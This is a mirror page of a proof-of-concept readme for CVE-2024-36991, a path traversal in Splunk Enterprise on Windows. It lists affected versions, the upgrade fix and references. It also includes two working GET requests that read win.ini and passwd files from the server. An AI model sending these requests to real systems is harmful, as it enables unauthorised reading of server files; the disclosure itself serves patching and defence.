CVE-2024-36991 PoC — Path Traversal on the “/modules/messaging/“ endpoint in Splunk Enterprise on Windows

Source

https://github.com/Mr-xn/CVE-2024-36991

Associated Vulnerability

Title: Path Traversal on the “/modules/messaging/“ endpoint in Splunk Enterprise on Windows (CVE-2024-36991)
Description:In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.

Description

Path Traversal On The "/Modules/Messaging/" Endpoint In Splunk Enterprise On Windows

Readme

# CVE-2024-36991

> Path Traversal On The “/Modules/Messaging/“ Endpoint In Splunk Enterprise On Windows 

In Splunk Enterprise versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows.

The vulnerability exists because the Python os.path.join function removes the drive letter from path tokens if the drive in the token matches the drive in the built path.

This vulnerability should only affect Splunk Enterprise on Windows.

# POC

```
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd
```


# Affected

affected from 9.2 before 9.2.2 

affected from 9.1 before 9.1.5 

affected from 9.0 before 9.0.10 

# Solution

Upgrade Splunk Enterprise to versions 9.2.2, 9.1.5, and 9.0.10, or higher.

# Credits

Danylo Dmytriiev (DDV_UA)

# References

- https://advisory.splunk.com/advisories/SVD-2024-0711
- https://www.cve.org/CVERecord?id=CVE-2024-36991

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →